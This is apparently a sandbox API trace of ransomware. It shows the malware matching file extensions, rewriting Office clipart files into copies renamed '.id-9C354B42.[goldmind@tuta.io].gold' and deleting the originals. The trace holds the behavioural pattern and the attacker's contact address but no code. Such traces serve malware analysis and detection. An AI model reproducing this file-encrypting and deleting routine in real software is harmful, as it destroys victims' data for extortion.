lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0094.538] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0094.538] lstrlenW (lpString="DD01180_.WMF") returned 12 [0094.538] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01180_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01180_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0094.539] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=2084) returned 1 [0094.539] CloseHandle (hObject=0x3b0) returned 1 [0094.539] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01180_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01180_.wmf")) returned 0x20 [0094.539] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01180_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01180_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0094.539] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01180_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01180_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0094.539] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0094.539] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0094.539] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01180_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01180_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0094.540] GetLastError () returned 0x0 [0094.540] ReadFile (in: hFile=0x3b0, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x824, lpOverlapped=0x0) returned 1 [0094.813] WriteFile (in: hFile=0x38c, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0x830, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0x830, lpOverlapped=0x0) returned 1 [0094.814] ReadFile (in: hFile=0x3b0, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0094.814] WriteFile (in: hFile=0x38c, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0094.814] SetEndOfFile (hFile=0x38c) returned 1 [0094.814] CloseHandle (hObject=0x38c) returned 1 [0094.815] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0094.815] SetEndOfFile (hFile=0x3b0) returned 1 [0094.819] CloseHandle (hObject=0x3b0) returned 1 [0094.819] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01180_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0094.859] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01180_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01180_.wmf")) returned 1 [0094.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 63 [0094.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 63 [0094.859] lstrlenW (lpString=".doc") returned 4 [0094.859] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0094.859] lstrlenW (lpString=".docx") returned 5 [0094.859] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0094.859] lstrlenW (lpString=".pdf") returned 4 [0094.859] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0094.859] lstrlenW (lpString=".xls") returned 4 [0094.859] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0094.859] lstrlenW (lpString=".xlsx") returned 5 [0094.859] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0094.859] lstrlenW (lpString=".ppt") returned 4 [0094.859] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0094.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 63 [0094.859] lstrlenW (lpString=".zip") returned 4 [0094.859] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0094.859] lstrlenW (lpString=".rar") returned 4 [0094.859] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0094.859] lstrlenW (lpString=".bz2") returned 4 [0094.859] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0094.859] lstrlenW (lpString=".7z") returned 3 [0094.859] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0094.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 63 [0094.859] lstrlenW (lpString=".dbf") returned 4 [0094.859] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0094.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 63 [0094.859] lstrlenW (lpString=".1cd") returned 4 [0094.860] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0094.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 63 [0094.860] lstrlenW (lpString=".jpg") returned 4 [0094.860] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0094.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 63 [0094.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 63 [0094.860] lstrlenW (lpString=".doc") returned 4 [0094.860] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0094.860] lstrlenW (lpString=".docx") returned 5 [0094.860] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0094.860] lstrlenW (lpString=".pdf") returned 4 [0094.860] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0094.860] lstrlenW (lpString=".xls") returned 4 [0094.860] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0094.860] lstrlenW (lpString=".xlsx") returned 5 [0094.860] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0094.860] lstrlenW (lpString=".ppt") returned 4 [0094.860] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0094.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 63 [0094.860] lstrlenW (lpString=".zip") returned 4 [0094.860] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0094.860] lstrlenW (lpString=".rar") returned 4 [0094.860] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0094.860] lstrlenW (lpString=".bz2") returned 4 [0094.860] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0094.860] lstrlenW (lpString=".7z") returned 3 [0094.860] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0094.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 63 [0094.860] lstrlenW (lpString=".dbf") returned 4 [0094.860] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0094.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 63 [0094.860] lstrlenW (lpString=".1cd") returned 4 [0094.860] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0094.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 63 [0094.860] lstrlenW (lpString=".jpg") returned 4 [0094.860] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0094.860] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0094.860] lstrlenW (lpString="DD01586_.WMF") returned 12 [0094.860] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01586_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01586_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0094.861] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=2324) returned 1 [0094.861] CloseHandle (hObject=0x3a8) returned 1 [0094.861] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01586_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01586_.wmf")) returned 0x20 [0094.861] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01586_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01586_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0094.861] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01586_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01586_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0094.861] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0094.861] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0094.861] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01586_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01586_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0094.862] GetLastError () returned 0x0 [0094.862] ReadFile (in: hFile=0x3a8, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x914, lpOverlapped=0x0) returned 1 [0094.893] WriteFile (in: hFile=0x398, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0x920, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0x920, lpOverlapped=0x0) returned 1 [0094.894] ReadFile (in: hFile=0x3a8, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0094.894] WriteFile (in: hFile=0x398, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0094.894] SetEndOfFile (hFile=0x398) returned 1 [0094.894] CloseHandle (hObject=0x398) returned 1 [0094.894] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0094.894] SetEndOfFile (hFile=0x3a8) returned 1 [0094.896] CloseHandle (hObject=0x3a8) returned 1 [0094.896] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01586_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0094.910] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01586_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01586_.wmf")) returned 1 [0094.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 63 [0094.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 63 [0094.911] lstrlenW (lpString=".doc") returned 4 [0094.911] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0094.911] lstrlenW (lpString=".docx") returned 5 [0094.911] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0094.911] lstrlenW (lpString=".pdf") returned 4 [0094.911] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0094.911] lstrlenW (lpString=".xls") returned 4 [0094.911] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0094.911] lstrlenW (lpString=".xlsx") returned 5 [0094.911] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0094.911] lstrlenW (lpString=".ppt") returned 4 [0094.911] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0094.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 63 [0094.911] lstrlenW (lpString=".zip") returned 4 [0094.911] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0094.911] lstrlenW (lpString=".rar") returned 4 [0094.911] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0094.911] lstrlenW (lpString=".bz2") returned 4 [0094.911] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0094.911] lstrlenW (lpString=".7z") returned 3 [0094.911] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0094.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 63 [0094.911] lstrlenW (lpString=".dbf") returned 4 [0094.911] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0094.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 63 [0094.911] lstrlenW (lpString=".1cd") returned 4 [0094.911] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0094.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 63 [0094.911] lstrlenW (lpString=".jpg") returned 4 [0094.911] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0094.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 63 [0094.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 63 [0094.911] lstrlenW (lpString=".doc") returned 4 [0094.911] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0094.911] lstrlenW (lpString=".docx") returned 5 [0094.911] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0094.911] lstrlenW (lpString=".pdf") returned 4 [0094.911] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0094.911] lstrlenW (lpString=".xls") returned 4 [0094.911] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0094.911] lstrlenW (lpString=".xlsx") returned 5 [0094.911] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0094.911] lstrlenW (lpString=".ppt") returned 4 [0094.911] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0094.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 63 [0094.911] lstrlenW (lpString=".zip") returned 4 [0094.911] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0094.912] lstrlenW (lpString=".rar") returned 4 [0094.912] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0094.912] lstrlenW (lpString=".bz2") returned 4 [0094.912] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0094.912] lstrlenW (lpString=".7z") returned 3 [0094.912] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0094.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 63 [0094.912] lstrlenW (lpString=".dbf") returned 4 [0094.912] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0094.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 63 [0094.912] lstrlenW (lpString=".1cd") returned 4 [0094.912] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0094.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 63 [0094.912] lstrlenW (lpString=".jpg") returned 4 [0094.912] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0094.912] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0094.912] lstrlenW (lpString="DD01630_.WMF") returned 12 [0094.912] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01630_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01630_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0094.912] GetFileSizeEx (in: hFile=0x3b8, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=296) returned 1 [0094.912] CloseHandle (hObject=0x3b8) returned 1 [0094.912] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01630_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01630_.wmf")) returned 0x20 [0094.922] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01630_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01630_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0094.923] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01630_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01630_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0094.923] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0094.923] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0094.923] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01630_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01630_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0094.924] GetLastError () returned 0x0 [0094.924] ReadFile (in: hFile=0x3b4, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x128, lpOverlapped=0x0) returned 1 [0094.925] WriteFile (in: hFile=0x39c, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0x130, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0x130, lpOverlapped=0x0) returned 1 [0094.925] ReadFile (in: hFile=0x3b4, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0094.925] WriteFile (in: hFile=0x39c, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0094.925] SetEndOfFile (hFile=0x39c) returned 1 [0094.925] CloseHandle (hObject=0x39c) returned 1 [0094.926] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0094.926] SetEndOfFile (hFile=0x3b4) returned 1 [0094.927] CloseHandle (hObject=0x3b4) returned 1 [0094.927] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01630_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0094.928] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01630_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01630_.wmf")) returned 1 [0094.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 63 [0094.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 63 [0094.928] lstrlenW (lpString=".doc") returned 4 [0094.928] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0094.928] lstrlenW (lpString=".docx") returned 5 [0094.928] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0094.928] lstrlenW (lpString=".pdf") returned 4 [0094.928] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0094.928] lstrlenW (lpString=".xls") returned 4 [0094.928] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0094.928] lstrlenW (lpString=".xlsx") returned 5 [0094.928] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0094.928] lstrlenW (lpString=".ppt") returned 4 [0094.928] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0094.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 63 [0094.928] lstrlenW (lpString=".zip") returned 4 [0094.928] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0094.928] lstrlenW (lpString=".rar") returned 4 [0094.928] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0094.928] lstrlenW (lpString=".bz2") returned 4 [0094.928] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0094.928] lstrlenW (lpString=".7z") returned 3 [0094.928] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0094.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 63 [0094.928] lstrlenW (lpString=".dbf") returned 4 [0094.928] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0094.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 63 [0094.929] lstrlenW (lpString=".1cd") returned 4 [0094.929] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0094.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 63 [0094.929] lstrlenW (lpString=".jpg") returned 4 [0094.929] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0094.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 63 [0094.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 63 [0094.929] lstrlenW (lpString=".doc") returned 4 [0094.929] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0094.929] lstrlenW (lpString=".docx") returned 5 [0094.929] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0094.929] lstrlenW (lpString=".pdf") returned 4 [0094.929] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0094.929] lstrlenW (lpString=".xls") returned 4 [0094.929] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0094.929] lstrlenW (lpString=".xlsx") returned 5 [0094.929] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0094.929] lstrlenW (lpString=".ppt") returned 4 [0094.929] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0094.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 63 [0094.929] lstrlenW (lpString=".zip") returned 4 [0094.929] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0094.929] lstrlenW (lpString=".rar") returned 4 [0094.929] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0094.929] lstrlenW (lpString=".bz2") returned 4 [0094.929] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0094.929] lstrlenW (lpString=".7z") returned 3 [0094.929] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0094.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 63 [0094.929] lstrlenW (lpString=".dbf") returned 4 [0094.929] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0094.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 63 [0094.929] lstrlenW (lpString=".1cd") returned 4 [0094.929] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0094.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 63 [0094.929] lstrlenW (lpString=".jpg") returned 4 [0094.929] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0094.929] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0094.929] lstrlenW (lpString="DD01761_.WMF") returned 12 [0094.929] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01761_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01761_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0094.930] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=4148) returned 1 [0094.930] CloseHandle (hObject=0x3b4) returned 1 [0094.930] GetFileAttributesW (lpFileName="C:\\Program 